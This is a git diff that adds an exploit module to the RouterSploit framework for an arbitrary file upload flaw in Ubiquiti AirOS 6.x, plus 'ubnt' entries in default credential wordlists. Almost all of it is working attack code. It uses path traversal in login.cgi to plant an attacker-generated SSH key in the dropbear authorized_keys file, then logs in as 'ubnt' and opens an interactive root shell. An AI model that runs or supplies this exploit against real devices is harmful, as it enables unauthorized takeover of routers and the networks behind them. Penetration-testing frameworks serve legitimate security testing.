diff --git a/routersploit/modules/exploits/ubiquiti/__init__.py b/routersploit/modules/exploits/ubiquiti/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/routersploit/modules/exploits/ubiquiti/airos_6_x.py b/routersploit/modules/exploits/ubiquiti/airos_6_x.py new file mode 100644 index 000000000..d1037ac38 --- /dev/null +++ b/routersploit/modules/exploits/ubiquiti/airos_6_x.py @@ -0,0 +1,166 @@ +import requests, tempfile, os.path +import paramiko, StringIO, termios, tty, sys, select, socket +from routersploit import ( + exploits, + print_success, + print_error, + print_info, + random_text, + sanitize_url, + http_request, + mute, +) + +class Exploit(exploits.Exploit): + ''' + Exploit implementation for AirOS 6.x - Arbitrary File Upload. + If the target is vulnerable is possible to take full control of the router + ''' + + __info__ = { + 'name': 'AirOS 6.x - Arbitrary File Upload', + 'description': 'Exploit implementation for AirOS 6.x - Arbitrary File Upload. If the target is vulnerable is possible to take full control of the router', + + 'authors': [ + '93c08539', #Vulnerability discovery + 'Vinicius Henrique Marangoni' #routersploit module + ], + + 'references': [ + 'https://hackerone.com/reports/73480', + 'https://www.exploit-db.com/exploits/39701/' + ], + + 'targets': [ + 'AirOS 6.x' + ] + } + + target = exploits.Option('', 'Target address e.g. https://192.168.1.1') #Target address + port = exploits.Option(443, 'Target port e.g. 443') #Default port + + #Disable certificate verification warnings + requests.packages.urllib3.disable_warnings() + + def run(self): + if(self.check()): + print_success('Target is vulnerable') + print_success('Trying to exploit by uploading SSH public key') + + key = paramiko.RSAKey.generate(1024) + public_key = key.get_base64() + private_key = StringIO.StringIO() + key.write_private_key(private_key) + + tmp_file_pubkey = tempfile.TemporaryFile() + tmp_file_pubkey.write('ssh-rsa ' + public_key) + tmp_file_pubkey.seek(0) + + upload_params = {'file': ('../../etc/dropbear/authorized_keys', tmp_file_pubkey, {'Expect': ''})} + + upload_url = sanitize_url('{0}:{1}/login.cgi' .format(self.target, self.port)) + response = http_request(url=upload_url, method='POST', files=upload_params) + + if(response is None): + print_error('Something was wrong while uploading the SSH Public Key') + return + + print_success('Appareantly the exploit worked fine') + print_success('Trying to invoke a interactive SSH Shell') + + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + + pseudo_privkey_file = StringIO.StringIO(private_key.getvalue()) + pkey = paramiko.RSAKey.from_private_key(pseudo_privkey_file) + pseudo_privkey_file.close() + + ip_target = self.target.replace('https://', '') + ip_target = ip_target.replace('http://', '') + ip_target = ip_target.replace('/', '') + + client.connect(ip_target, 22, username='ubnt', pkey=pkey) + + # invoking interactive shell + chan = client.invoke_shell() + oldtty = termios.tcgetattr(sys.stdin) + + try: + tty.setraw(sys.stdin.fileno()) + tty.setcbreak(sys.stdin.fileno()) + chan.settimeout(0.0) + + while(True): + r, w, e = select.select([chan, sys.stdin], [], []) + if(chan in r): + try: + x = unicode(chan.recv(1024)) + + if(len(x) == 0): + sys.stdout.write('\r\nExiting...\r\n') + break + + sys.stdout.write(x) + sys.stdout.flush() + + except socket.timeout: + pass + + if(sys.stdin in r): + x = sys.stdin.read(1) + + if(len(x) == 0): + break + + chan.send(x) + + finally: + termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty) + private_key.close() + + else: + print_error('Target is not vulnerable') + + @mute + def check(self): + base_url = sanitize_url('{0}:{1}/' .format(self.target, self.port)) + + upload_url = base_url + 'login.cgi' + response = http_request(url=upload_url, method='GET') + + if(response is None): + return False #Target not vulnerable + + rand_str = random_text(length=16) + + tmp_payload = tempfile.TemporaryFile() + tmp_payload.write('vulnerable' + rand_str) + tmp_payload.seek(0) + + upload_params = {'file': ('../../../../tmp/airview.uavr', tmp_payload, {'Expect': ''})} + + response = http_request(url=upload_url, method='POST', files=upload_params) + + tmp_payload.close() + + if(response is None): + return False #Target not vulnerable + + #Response to verify if the upload was done correctly + airview_url = base_url + 'airview.uavr' + verify_upload = http_request(url=airview_url, method='GET') + + #Upload empty file to "clear" the airview.uavr file + clean_tmp_file = tempfile.TemporaryFile() + clean_tmp_file.seek(0) + + upload_params = {'file': ('../../../../tmp/airview.uavr', clean_tmp_file, {'Expect': ''})} + + http_request(url=upload_url, method='POST', files=upload_params) + clean_tmp_file.close() + + if('vulnerable'+rand_str in verify_upload.text): + return True + + else: + return False \ No newline at end of file diff --git a/routersploit/wordlists/defaults.txt b/routersploit/wordlists/defaults.txt index 80663ec05..30a4309f4 100644 --- a/routersploit/wordlists/defaults.txt +++ b/routersploit/wordlists/defaults.txt @@ -385,6 +385,7 @@ topicalt:password topicnorm:password topicres:password tw:tw +ubnt:ubnt user:pass user:password user:public diff --git a/routersploit/wordlists/passwords.txt b/routersploit/wordlists/passwords.txt index a7f7ed409..4934a6479 100644 --- a/routersploit/wordlists/passwords.txt +++ b/routersploit/wordlists/passwords.txt @@ -480,6 +480,7 @@ truetime trustno1 tslinux tuxalize +ubnt uplink user visual diff --git a/routersploit/wordlists/usernames.txt b/routersploit/wordlists/usernames.txt index 393c52c3b..7e2bf5723 100644 --- a/routersploit/wordlists/usernames.txt +++ b/routersploit/wordlists/usernames.txt @@ -256,6 +256,7 @@ tiger topicalt topicnorm topicres +ubnt user vcr veda